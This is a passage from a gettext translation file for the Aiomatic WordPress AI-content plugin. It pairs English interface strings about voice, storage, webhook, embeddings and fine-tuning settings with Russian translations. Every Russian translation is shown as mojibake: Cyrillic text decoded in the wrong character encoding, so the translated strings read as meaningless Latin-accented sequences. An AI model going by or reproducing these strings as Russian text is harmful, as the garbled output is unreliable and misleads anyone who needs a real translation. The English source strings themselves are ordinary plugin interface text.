res/aiomatic-single-list.php:5621 #: res/aiomatic-single-list.php:6987 res/aiomatic-youtube-list.php:1594 #: res/aiomatic-youtube-list.php:4114 msgid "Use The Same Search Query For Images" msgstr "ИÑпользуйте Тотже ПоиÑковый Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð´Ð»Ñ Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹" #: res/aiomatic-rules-list.php:1254 res/aiomatic-rules-list.php:4003 #: res/aiomatic-single-list.php:2693 msgid "Use The Titles From The 'Post Title List' Settings Field" msgstr "ИÑпользуйте заголовки из Ð¿Ð¾Ð»Ñ ÐаÑтроек «СпиÑок Заголовоков ПоÑтов»" #: res/StatisticsClass.php:599 res/StatisticsClass.php:617 #: res/StatisticsClass.php:635 msgid "used" msgstr "ИÑпользовано" #: res/aiomatic-main.php:1560 msgid "used for the plugin's Embeddings functionality" msgstr "иÑпользуетÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¾Ð½Ð°Ð»ÑŒÐ½Ð¾Ñти вÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð°" #: res/aiomatic-limits-statistics.php:690 res/aiomatic-training.php:182 msgid "User" msgstr "Пользователь" #: res/aiomatic-chatbot.php:1828 res/aiomatic-chatbot.php:3667 msgid "User Baloon Background Color:" msgstr "Цвет фона вÑплывающего окна пользователÑ:" #: res/aiomatic-chatbot.php:5116 msgid "User conversation data has been deleted." msgstr "Данные разговора Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð±Ñ‹Ð»Ð¸ удалены." #: res/aiomatic-chatbot.php:4941 msgid "User Conversation Manager" msgstr "Менеджер диалогов пользователей" #: res/aiomatic-chatbot.php:1812 res/aiomatic-chatbot.php:3651 msgid "User Font Color:" msgstr "Цвет пользовательÑкого шрифта:" #: res/aiomatic-chatbot.php:791 res/aiomatic-chatbot.php:1204 msgid "User Name:" msgstr "Ð˜Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ:" #: res/aiomatic-limits-statistics.php:243 #: res/aiomatic-limits-statistics.php:1636 msgid "User Restricted Message:" msgstr "ПоÑÑ‚ Ñ ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð½Ñ‹Ð¼ ДоÑтупом Ð´Ð»Ñ ÐŸÐ¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹:" #: res/aiomatic-limits-statistics.php:157 #: res/aiomatic-limits-statistics.php:1564 msgid "User Role:" msgstr "Роль ПользователÑ:" #: res/aiomatic-limits-statistics.php:471 msgid "User: The user who made the request." msgstr "Пользователь: Пользователь, Ñделавший запроÑ." #: res/aiomatic-main.php:1609 msgid "Using a LiteSpeed Web Server for this website?" msgstr "ИÑпользуете веб-Ñервер LiteSpeed â€‹â€‹Ð´Ð»Ñ Ñтого веб-Ñайта?" #: res/aiomatic-main.php:1603 msgid "Using CloudFlare for this website?" msgstr "ИÑпользуете CloudFlare Ð´Ð»Ñ Ñтого Ñайта?" #: aiomatic-automation.php:624 #, php-format msgid "" "Using data from a webhook URL, run OmniBlock rules automatically, even when " "not scheduled. Webhook URL is: %%webhook_url%%" msgstr "" "ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð´Ð°Ð½Ð½Ñ‹Ðµ из URL-адреÑа webhook, запуÑкайте правила OmniBlock " "автоматичеÑки, даже еÑли они не запланированы. URL-Ð°Ð´Ñ€ÐµÑ Ð²ÐµÐ±Ñ…ÑƒÐºÐ°: " "%%webhook_url%%." #: aiomatic-automation.php:606 msgid "Using TextRazor API, gets related entities to keywords." msgstr "" "ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ API TextRazor, получает ÑвÑзанные ÑущноÑти по ключевым Ñловам." #: res/aiomatic-main.php:1588 msgid "Using the Content Wizard" msgstr "ИÑпользование маÑтера контента" #: res/aiomatic-embeddings.php:54 msgid "" "Using this feature you will be able to automatically create embeddings data " "from the posts you already have published on your site. You can set the " "plugin up to automatically index posts, pages, products or any custom post " "type. Embeddings will be automatically created using their data. You can " "change the template which is used for automatic embeddings creation, from " "the plugin's 'Main Settings' menu -> 'Embeddings' tab -> 'Auto Created " "Embeddings Template' settings field." msgstr "" "ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñту функцию, вы Ñможете автоматичеÑки Ñоздавать Данные Ð´Ð»Ñ " "Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð¸Ð· ПоÑтов, которые вы уже опубликовали на Ñвоем Ñайте. Ð’Ñ‹ можете " "наÑтроить плагин на ÐвтоматичеÑкое ИндекÑирование ПоÑтов, Страниц, Продуктов " "или любого пользовательÑкого типа ПоÑтов. Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð±ÑƒÐ´ÑƒÑ‚ автоматичеÑки " "Ñозданы Ñ Ð¸Ñпользованием их данных. Ð’Ñ‹ можете изменить шаблон, который " "иÑпользуетÑÑ Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð’Ñтраиваний, в меню «ОÑновные " "наÑтройки» плагина -> вкладка «ВÑтраиваниÑ» -> поле наÑтроек «ÐвтоматичеÑки " "Ñозданный шаблон вÑтраиваниÑ»." #: res/aiomatic-main.php:7046 #, php-format msgid "" "Using which keyword or phrase should I search the internet, so I get results " "related to the following text? Give me only a single search phrase or " "keyword, don't write anything else. The text is: \"%%original_prompt%%\"?" msgstr "" "По какому ключевому Ñлову или фразе мне Ñледует иÑкать информацию в " "Интернете, чтобы получить результаты, отноÑÑщиеÑÑ Ðº Ñледующему текÑту? " "Укажите только одну поиÑковую фразу или ключевое Ñлово, больше ничего не " "пишите. ТекÑÑ‚ Ñледующий: \"%%original_prompt%%\"?" #: res/aiomatic-amazon-list.php:138 res/aiomatic-review-list.php:138 #: res/aiomatic-rules-list.php:138 res/aiomatic-single-list.php:138 #: res/aiomatic-single-list.php:276 res/aiomatic-youtube-list.php:138 msgid "Uyghur" msgstr "УйгурÑкий" #: res/aiomatic-languages.php:139 msgid "Uyghur (Google Translate)" msgstr "УйгурÑкий (Google Translate)" #: res/aiomatic-amazon-list.php:106 res/aiomatic-review-list.php:106 #: res/aiomatic-rules-list.php:106 res/aiomatic-single-list.php:106 #: res/aiomatic-single-list.php:244 res/aiomatic-youtube-list.php:106 msgid "Uzbek" msgstr "УзбекÑкий" #: res/aiomatic-languages.php:106 msgid "Uzbek (Google Translate)" msgstr "УзбекÑкий (переводчик гугл)" #: res/aiomatic-logs.php:453 msgid "Value" msgstr "Величина" #: res/aiomatic-main.php:2295 msgid "" "ValueSERP API Key (Optional) (Used for Related Headings & AI Internet Access)" msgstr "" "Ключ API ValueSERP (необÑзательно) (иÑпользуетÑÑ Ð´Ð»Ñ ÑвÑзанных Заголовоков и " "доÑтупа в Интернет Ð´Ð»Ñ AI)" #: res/aiomatic-main.php:2284 msgid "ValueSERP API:" msgstr "ValueSERP API:" #: res/aiomatic-main.php:2300 msgid "ValueSERP Key (optional)" msgstr "Ключ ValueSERP (необÑзательно)" #: res/aiomatic-main.php:8286 res/aiomatic-main.php:8770 msgid "Vector" msgstr "Вектор" #: res/aiomatic-main.php:8801 msgid "Vertical" msgstr "Вертикальный" #: res/aiomatic-amazon-list.php:1985 res/aiomatic-amazon-list.php:4593 #: res/aiomatic-csv-list.php:434 res/aiomatic-csv-list.php:1596 #: res/aiomatic-review-list.php:2054 res/aiomatic-review-list.php:4746 #: res/aiomatic-rules-list.php:2183 res/aiomatic-rules-list.php:4982 #: res/aiomatic-youtube-list.php:1956 res/aiomatic-youtube-list.php:4521 msgid "Video" msgstr "Видео" #: res/aiomatic-youtube-list.php:2967 msgid "Video Caption Maximum Character Length In Prompts" msgstr "ПодпиÑÑŒ к Видео МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° Символов в Промптах" #: res/aiomatic-single-list.php:3348 res/aiomatic-youtube-list.php:410 msgid "Video Caption Maximum Character Length In Prompts:" msgstr "ПодпиÑÑŒ к Видео МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° Символов в Промптах:" #: res/aiomatic-youtube-list.php:2956 msgid "Video Caption Preferred Languages" msgstr "Предпочтительные Языки Субтитров к Видео" #: res/aiomatic-single-list.php:3332 res/aiomatic-youtube-list.php:394 msgid "Video Caption Preferred Languages:" msgstr "Предпочтительные Языки Субтитров к Видео:" #: res/aiomatic-main.php:2524 msgid "Video CFG Scale:" msgstr "Video CFG Scale:" #: aiomatic-automation.php:559 msgid "Video Keyword Search" msgstr "ПоиÑк видео по ключевым Ñловам" #: res/aiomatic-main.php:2545 msgid "Video Motion Bucket ID:" msgstr "Video Motion Bucket ID:" #: res/aiomatic-amazon-list.php:55 res/aiomatic-main.php:8618 #: res/aiomatic-review-list.php:55 res/aiomatic-rules-list.php:55 #: res/aiomatic-single-list.php:55 res/aiomatic-single-list.php:193 #: res/aiomatic-youtube-list.php:55 msgid "Vietnamese" msgstr "вьетнамÑкий" #: res/aiomatic-languages.php:55 msgid "Vietnamese (Google Translate)" msgstr "ВьетнамÑкий (переводчик Google)" #: res/aiomatic-automation-list.php:2280 msgid "View" msgstr "ПоÑмотреть" #: update-checker/Puc/v5p2/Plugin/Ui.php:56 msgid "View details" msgstr "ПроÑмотр деталей" #: res/aiomatic-amazon-list.php:4729 res/aiomatic-automation-list.php:7422 #: res/aiomatic-csv-list.php:1833 res/aiomatic-review-list.php:4882 #: res/aiomatic-rules-list.php:5119 res/aiomatic-youtube-list.php:4657 msgid "View Generated Posts" msgstr "ПоÑмотреть Ñозданные ПоÑÑ‚Ñ‹" #: res/other/plugin-dash.php:91 msgid "View More" msgstr "ПоÑмотреть больше" #: res/aiomatic-chatbot.php:5222 msgid "View User Conversation" msgstr "ПроÑмотр БеÑеды ПользователÑ" #: res/aiomatic-main.php:1576 msgid "Visit" msgstr "ПоÑетить" #: res/aiomatic-logs.php:491 msgid "Visit plugin homepage" msgstr "ПоÑетите домашнюю Ñтраницу Плагина" #: res/aiomatic-chatbot.php:669 msgid "" "Visit your website and look for the chatbot. Interact with the chatbot by " "typing questions or phrases into the chat window. Verify that the chatbot " "responds appropriately based on the rules you defined." msgstr "" "Зайдите на Ñвой Ñайт и найдите Чат-бота. ВзаимодейÑтвуйте Ñ Ð§Ð°Ñ‚-ботом, Ð²Ð²Ð¾Ð´Ñ " "вопроÑÑ‹ или фразы в окно чата. УбедитеÑÑŒ, что чат-бот отвечает надлежащим " "образом в ÑоответÑтвии Ñ Ð¾Ð¿Ñ€ÐµÐ´ÐµÐ»ÐµÐ½Ð½Ñ‹Ð¼Ð¸ вами Правилами." #: res/aiomatic-main.php:2577 msgid "Vivid" msgstr "Vivid" #: res/aiomatic-chatbot.php:3109 res/aiomatic-chatbot.php:3198 #: res/aiomatic-spinner-list.php:3329 res/aiomatic-spinner-list.php:3418 msgid "Voice AI Model:" msgstr "Модель ГолоÑа AI:" #: res/aiomatic-chatbot.php:1988 res/aiomatic-chatbot.php:3827 msgid "Voice Button Color:" msgstr "Цвет ГолоÑовой Кнопки:" #: res/aiomatic-chatbot.php:3283 res/aiomatic-spinner-list.php:3503 msgid "Voice Language:" msgstr "Язык ГолоÑа:" #: res/aiomatic-chatbot.php:3363 res/aiomatic-spinner-list.php:3583 msgid "Voice Name:" msgstr "Ð˜Ð¼Ñ Ð“Ð¾Ð»Ð¾Ñа:" #: res/aiomatic-chatbot.php:3451 res/aiomatic-spinner-list.php:3671 msgid "Voice Pitch:" msgstr "Ð’Ñ‹Ñота ГолоÑа:" #: res/aiomatic-chatbot.php:3147 res/aiomatic-spinner-list.php:3367 msgid "Voice Similarity Boost:" msgstr "Повышение ÑходÑтва голоÑа:" #: res/aiomatic-chatbot.php:3435 res/aiomatic-spinner-list.php:3655 msgid "Voice Speed:" msgstr "СкороÑÑ‚ÑŒ ГолоÑа:" #: res/aiomatic-chatbot.php:3131 res/aiomatic-chatbot.php:3267 #: res/aiomatic-spinner-list.php:3351 res/aiomatic-spinner-list.php:3487 msgid "Voice Stability:" msgstr "СтабильноÑÑ‚ÑŒ голоÑа:" #: res/aiomatic-amazon-list.php:178 res/aiomatic-automation-list.php:87 #: res/aiomatic-csv-list.php:40 res/aiomatic-review-list.php:178 #: res/aiomatic-rules-list.php:178 res/aiomatic-single-list.php:302 #: res/aiomatic-spinner-list.php:24 res/aiomatic-youtube-list.php:178 #, php-format msgid "" "Warning! Your PHP INI max_execution_time is less than 1000 seconds (%s). " "This means that the plugin's execution will be forcefully stopped by your " "server after this amount of seconds. Please increase it to ensure that the " "plugin functions properly. Please check details on server settings, here." msgstr "" "Внимание! Ð’ вашем PHP INI max_execution_time меньше 1000 Ñекунд (%s). Это " "означает, что выполнение плагина будет принудительно оÑтановлено вашим " "Ñервером по иÑтечении Ñтого количеÑтва Ñекунд. ПожалуйÑта, увеличьте Ñто " "значение, чтобы плагин работал правильно. ПожалуйÑта, проверьте наÑтройки " "Ñервера, here." #: res/aiomatic-main.php:4735 msgid "Wasabi API Key:" msgstr "Wasabi API Key:" #: res/aiomatic-main.php:4751 msgid "Wasabi API Secret:" msgstr "Wasabi API Secret:" #: res/aiomatic-main.php:4689 msgid "Wasabi Bucket Name:" msgstr "Ð˜Ð¼Ñ ÐšÐ¾Ñ€Ð·Ð¸Ð½Ñ‹ Wasabi:" #: res/aiomatic-main.php:4705 msgid "Wasabi Bucket Region:" msgstr "Регион Корзины Wasabi:" #: res/aiomatic-main.php:4673 msgid "Wasabi Directory:" msgstr "Wasabi Каталог:" #: res/aiomatic-main.php:4660 #| msgid "AI API Settings:" msgid "Wasabi Settings:" msgstr "Wasabi ÐаÑтройки:" #: res/aiomatic-main.php:7422 msgid "Web Proxy Address List:" msgstr "СпиÑок ÐдреÑов Веб-ПрокÑи:" #: res/aiomatic-main.php:7441 msgid "Web Proxy Authentication:" msgstr "Проверка подлинноÑти веб-прокÑи:" #: res/aiomatic-main.php:41 msgid "Web Scraping" msgstr "Веб-Ñкрапинг (парÑинг)" #: aiomatic-automation.php:630 msgid "Webhook API Key" msgstr " API Ключ Webhook" #: aiomatic-automation.php:621 msgid "Webhook Listener" msgstr "ПроÑлушиватель Webhook" #: aiomatic-automation.php:1055 msgid "Webhook URL" msgstr "URL вебхука" #: res/aiomatic-chatbot.php:633 msgid "Website Injection" msgstr "Внедрение веб-Ñайта" #: res/aiomatic-limits-statistics.php:109 #: res/aiomatic-limits-statistics.php:864 #: res/aiomatic-limits-statistics.php:995 #: res/aiomatic-limits-statistics.php:1158 #: res/aiomatic-limits-statistics.php:1322 #: res/aiomatic-limits-statistics.php:1528 msgid "Week" msgstr "Ðеделю" #: res/aiomatic-main.php:15 msgid "Welcome" msgstr "Добро Пожаловать" #: res/aiomatic-spinner-list.php:848 msgid "Welcome to Automatic AI Content Editing" msgstr "Добро Пожаловать в Automatic AI Редактор Контента" #: res/aiomatic-main.php:1550 msgid "Welcome to the Aiomatic plugin!" msgstr "Добро Пожаловать в Плагин Aiomatic!" #: res/aiomatic-spinner-list.php:850 msgid "" "Welcome to this comprehensive guide on how to use the automatic post editing " "feature of the Aiomatic plugin. This powerful tool leverages artificial " "intelligence to automatically edit and enhance your WordPress posts, saving " "you time and effort while ensuring your content is optimized and engaging. " "Whether you're publishing new posts, drafting content, or revising existing " "posts, the Aiomatic plugin can be configured to automatically apply a range " "of edits. These include rewriting content, assigning featured images, " "appending or prepending AI-generated content, adding internal links, " "inserting related comments, and generating SEO meta descriptions." msgstr "" "Добро пожаловать в Ñто подробное руководÑтво о том, как иÑпользовать функцию " "автоматичеÑкого Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ¾Ñтов Плагина Aiomatic. Этот мощный " "инÑтрумент иÑпользует иÑкуÑÑтвенный интеллект Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого " "Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸ ÑƒÐ»ÑƒÑ‡ÑˆÐµÐ½Ð¸Ñ Ð²Ð°ÑˆÐ¸Ñ… ПоÑтов WordPress, ÑÐºÐ¾Ð½Ð¾Ð¼Ñ Ð²Ð°ÑˆÐµ Ð²Ñ€ÐµÐ¼Ñ Ð¸ " "уÑилиÑ, обеÑÐ¿ÐµÑ‡Ð¸Ð²Ð°Ñ Ð¿Ñ€Ð¸ Ñтом оптимизацию и привлекательноÑÑ‚ÑŒ вашего Контента." " ÐезавиÑимо от того, публикуете ли вы новые ПоÑÑ‚Ñ‹, ÑоÑтавлÑете Контент или " "редактируете ÑущеÑтвующие ПоÑÑ‚Ñ‹, Плагин Aiomatic можно наÑтроить Ð´Ð»Ñ " "автоматичеÑкого Ð¿Ñ€Ð¸Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ€Ñда правок. К ним отноÑÑÑ‚ÑÑ Ð¿ÐµÑ€ÐµÐ¿Ð¸Ñывание " "Контента, Ðазначение Избранных Изображений, добавление или добавление " "Контента, Ñозданного AI, добавление Внутренних СÑылок, вÑтавка СвÑзанных " "Комментариев и Ñоздание Мета-ОпиÑаний SEO." #: res/aiomatic-playground.php:39 msgid "" "Welcome to this comprehensive tutorial on the 'AI Playground' functionality " "of the Aiomatic plugin. This powerful tool harnesses the capabilities of " "artificial intelligence to provide a wide range of features that can enhance " "your digital experience. In this tutorial, we'll cover several key " "functionalities of the AI Playground, including text completion, text " "editing, image generation using AI technologies like DALL-E 2 and Stable " "Diffusion, a chatbot feature, speech-to-text conversion using the Whisper " "API, and text moderation. Each of these features can be used in various ways " "to generate and manage content, interact with users, and more." msgstr "" "Добро пожаловать в Ñто вÑеобъемлющее руководÑтво по функциональноÑти AI " "Playground Плагина Aiomatic. Этот мощный инÑтрумент иÑпользует возможноÑти " "иÑкуÑÑтвенного интеллекта, чтобы предоÑтавить широкий Ñпектр функций, " "которые могут улучшить ваш цифровой опыт. Ð’ Ñтом руководÑтве мы раÑÑмотрим " "неÑколько ключевых функций AI Playground, Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½ÑƒÑŽ ЧаÑÑ‚ÑŒ " "текÑта, Редактирование текÑта, Создание изображений Ñ Ð¸Ñпользованием " "технологий AI, таких как DALL-E 2 и Stable Diffusion, функцию Чат-бота, " "Преобразование речи в текÑÑ‚ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Whisper. API и Модерацию текÑта. " "Каждую из Ñтих функций можно иÑпользовать различными ÑпоÑобами Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "Контента и ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð¼, взаимодейÑÑ‚Ð²Ð¸Ñ Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñми и многого другого." #: res/aiomatic-amazon-list.php:56 res/aiomatic-review-list.php:56 #: res/aiomatic-rules-list.php:56 res/aiomatic-single-list.php:56 #: res/aiomatic-single-list.php:194 res/aiomatic-youtube-list.php:56 msgid "Welsh" msgstr "ВаллийÑкий" #: res/aiomatic-languages.php:56 msgid "Welsh (Google Translate)" msgstr "ВаллийÑкий (переводчик Google)" #: res/aiomatic-assistants.php:56 msgid "What are AI Assistants?" msgstr "Что такое AI ÐÑÑиÑтенты?" #: res/aiomatic-shortcodes.php:109 msgid "What are AI Forms?" msgstr "Что такое Формы AI?" #: res/aiomatic-embeddings.php:44 msgid "What are embeddings in GPT-3?" msgstr "Что такое Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð² GPT-3?" #: res/aiomatic-spinner-list.php:864 msgid "" "What categories or tags not to edit: If there are certain categories or tags " "you don't want to be edited, you can specify them here." msgstr "" "Какие Категории или Теги не редактировать: ЕÑли еÑÑ‚ÑŒ определенные Категории " "или Теги, которые вы не хотите редактировать, вы можете указать их здеÑÑŒ." #: res/aiomatic-main.php:1565 msgid "What is Aiomatic?" msgstr "Что такое Aiomatic?" #: res/aiomatic-training.php:52 msgid "What is fine-tuning in GPT-3?" msgstr "Что такое Ð¢Ð¾Ð½ÐºÐ°Ñ ÐаÑтройка в GPT-3?" #: res/aiomatic-spinner-list.php:860 msgid "" "What post types to edit: Select the types of posts you want to be edited. " "This could be blog posts, pages, or any custom post types you have on your " "site." msgstr "" "Какие Типы ПоÑтов редактировать: выберите Типы ПоÑтов, которые вы хотите " "редактировать. Это могут быть ПоÑÑ‚Ñ‹ в Блогах, Страницы или любые " "пользовательÑкие Типы ПоÑтов, которые еÑÑ‚ÑŒ на вашем Ñайте." #: res/aiomatic-amazon-list.php:1549 res/aiomatic-amazon-list.php:4110 #: res/aiomatic-chatbot.php:990 res/aiomatic-chatbot.php:4439 #: res/aiomatic-main.php:3286 res/aiomatic-main.php:5675 #: res/aiomatic-review-list.php:1618 res/aiomatic-review-list.php:4263 #: res/aiomatic-rules-list.php:1751 res/aiomatic-rules-list.php:4511 #: res/aiomatic-single-list.php:2235 res/aiomatic-single-list.php:2985 #: res/aiomatic-single-list.php:4238 res/aiomatic-single-list.php:5552 #: res/aiomatic-single-list.php:6918 res/aiomatic-spinner-list.php:1158 #: res/aiomatic-spinner-list.php:1806 res/aiomatic-youtube-list.php:1505 #: res/aiomatic-youtube-list.php:4021 msgid "" "What sampling temperature to use. Higher values means the model will take " "more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) " "for ones with a well-defined answer. We generally recommend altering this or " "top_p but not both." msgstr "" "Какую температуру отбора проб иÑпользовать. Более выÑокие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¾Ð·Ð½Ð°Ñ‡Ð°ÑŽÑ‚, " "что модель будет подвергатьÑÑ Ð±Ð¾Ð»ÑŒÑˆÐµÐ¼Ñƒ риÑку. Попробуйте 0,9 Ð´Ð»Ñ Ð±Ð¾Ð»ÐµÐµ " "креативных приложений и 0 (выборка argmax) Ð´Ð»Ñ Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ð¹ Ñ Ñ‡ÐµÑ‚ÐºÐ¾ " "определенным ответом. Обычно мы рекомендуем изменить Ñто или top_p, но не " "оба." #: res/admin/ai-post-gutenberg.php:52 msgid "What To Generate?" msgstr "Что Сгенерировать?" #: res/aiomatic-limits-statistics.php:149 msgid "What to Restrict" msgstr "Что Ограничить" #: res/aiomatic-limits-statistics.php:1551 msgid "What to Restrict:" msgstr "Что Ограничить:" #: res/aiomatic-embeddings.php:46 msgid "" "When creating embeds, it's important to keep in mind to always create a high " "quality data set, as this will help the AI writer to get a more correct " "context." msgstr "" "При Ñоздании Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð²Ð°Ð¶Ð½Ð¾ вÑегда помнить о Ñоздании выÑококачеÑтвенного " "Ðабора Данных, так как Ñто поможет AI writer, получить более правильный " "КонтекÑÑ‚." #: res/aiomatic-training.php:54 msgid "" "When fine-tuning a model, it's important to keep a few things in mind, such " "as the quality of the data set and the parameters of the model that will be " "adjusted. Additionally, it's important to monitor the performance of the " "model during and after fine-tuning." msgstr "" "При Точной ÐаÑтройке Модели важно помнить о неÑкольких вещах, таких как " "качеÑтво Ðабора Данных и Параметры Модели, которые будут Ñкорректированы. " "Кроме того, важно отÑлеживать ПроизводительноÑÑ‚ÑŒ Модели во Ð²Ñ€ÐµÐ¼Ñ Ð¸ поÑле " "Тонкой ÐаÑтройки." #: res/aiomatic-spinner-list.php:858 msgid "" "When to edit posts: Choose whether you want posts to be edited when they are " "published, drafted, or set as pending." msgstr "" "Когда редактировать ПоÑÑ‚Ñ‹: выберите, хотите ли вы, чтобы ПоÑÑ‚Ñ‹ " "редактировалиÑÑŒ, когда они публикуютÑÑ, ÑоÑтавлÑÑŽÑ‚ÑÑ Ð² Черновике или " "уÑтанавливаютÑÑ ÐºÐ°Ðº Ожидающие раÑÑмотрениÑ." #: res/aiomatic-main.php:6411 msgid "" "When using the 'Title Based Posting' mode, if you set the 'AI Content " "Minimum Character Count' settings field to a large character count, this you " "add a prompt completion here, it will be appended to the text which is sent " "to the AI writer, for continuation.." msgstr "" "При иÑпользовании режима 'ПоÑтинг на оÑнове названиÑ', еÑли вы уÑтановите в " "поле наÑтроек 'Минимальное количеÑтво Ñимволов в AI-контенте' большое " "количеÑтво Ñимволов, то при добавлении здеÑÑŒ промпта завершениÑ, он будет " "добавлен к текÑту, который отправлÑетÑÑ AI Создателю, Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶ÐµÐ½Ð¸Ñ..." #: res/aiomatic-main.php:6392 msgid "" "When using the 'Title Based Posting' mode, if you set the 'AI Content " "Minimum Character Count' settings field to a large character count, this you " "add a prompt completion here, it will be prepended to the text which is sent " "to the AI writer, for continuation.." msgstr "" "При иÑпользовании режима «ПоÑтинг на оÑнове заголовка», еÑли вы уÑтановите в " "поле наÑтроек «Минимальное количеÑтво Ñимволов AI-контента» большое " "количеÑтво Ñимволов, то при добавлении Ñюда промпта Ð´Ð»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ, он будет " "добавлен ​​к текÑту, который отправлÑетÑÑ AI Создателю, Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶ÐµÐ½Ð¸Ñ.." #: res/aiomatic-logs.php:128 msgid "Whether or not you have WordPress Multisite enabled." msgstr "ÐезавиÑимо от того, включен ли у Ð²Ð°Ñ Ð¼ÑƒÐ»ÑŒÑ‚Ð¸Ñайт WordPress." #: res/aiomatic-spinner-list.php:4334 msgid "Which Posts Should Bulk AI Editing Affect:" msgstr "Ðа какие ПоÑÑ‚Ñ‹ должно повлиÑÑ‚ÑŒ маÑÑовое редактирование AI:" #: res/aiomatic-main.php:2847 msgid "" "Which sampler to use for the diffusion process. If this value is omitted " "we'll automatically select an appropriate sampler for you." msgstr "" "Какой пробоотборник иÑпользовать Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ†ÐµÑÑа диффузAI. ЕÑли Ñто значение " "опущено, мы автоматичеÑки выберем Ð´Ð»Ñ Ð²Ð°Ñ Ð¿Ð¾Ð´Ñ…Ð¾Ð´Ñщий ÑÑмплер." #: res/aiomatic-playground.php:30 msgid "Whisper Speech To Text" msgstr "Whisper перевод речи в текÑÑ‚" #: res/aiomatic-chatbot.php:2423 msgid "Whitelisted WordPress Functions:" msgstr "Функции WordPress из Белого СпиÑка:" #: res/aiomatic-limits-statistics.php:885 #: res/aiomatic-limits-statistics.php:1016 #: res/aiomatic-limits-statistics.php:1179 #: res/aiomatic-limits-statistics.php:1343 msgid "" "With absolute, a day represents today. Otherwise, it represent the past 24 " "hours from now. The same logic applies to the other time frames." msgstr "" "Ð’ абÑолюте день предÑтавлÑет ÑегоднÑшний день. Ð’ противном Ñлучае он " "предÑтавлÑет поÑледние 24 чаÑа Ñ Ð½Ð°ÑтоÑщего момента. Та же логика применима " "и к другим таймфреймам." #: res/aiomatic-shortcodes.php:110 #, php-format msgid "" "With AI Forms you can create fully customizable forms which will be able to " "be used using the [aiomatic-form id=\"FORM_ID\"] shortcode. You can create " "textual forms, Dalle-2 image forms or Stable Diffusion image forms. You can " "create custom input fields of multiple types for the created forms, where " "users will be able to define their desired input values. These input fields " "will be able to be replaced in the prompts you define for each form, using " "shortcodes in this format: %%input_field_ID%%." msgstr "" "С AI Forms вы можете Ñоздавать полноÑтью ÐаÑтраиваемые Формы, которые можно " "будет иÑпользовать Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Шорткода [aiomatic-form id=\"FORM_ID\"]. Ð’Ñ‹ " "можете Ñоздавать ТекÑтовые Формы, Формы Изображений Dalle-2 или Формы " "Изображений Stable Diffusion. Ð’Ñ‹ можете Ñоздавать ÐаÑтраиваемые ÐŸÐ¾Ð»Ñ Ð’Ð²Ð¾Ð´Ð° " "неÑкольких Типов Ð´Ð»Ñ Ñозданных Форм, где пользователи Ñмогут определÑÑ‚ÑŒ " "желаемые Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð’Ð²Ð¾Ð´Ð°. Эти ÐŸÐ¾Ð»Ñ Ð’Ð²Ð¾Ð´Ð° можно будет заменить в Промптых, " "которые вы определÑете Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ Формы, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¨Ð¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ в Ñледующем " "формате: %%input_field_ID%%." #: res/aiomatic-embeddings.php:608 res/aiomatic-spinner-list.php:4664 msgid "With Featured Images" msgstr "С избранными изображениÑми" #: res/aiomatic-embeddings.php:609 res/aiomatic-spinner-list.php:4669 msgid "Without Featured Images" msgstr "Без избранных изображений" #: 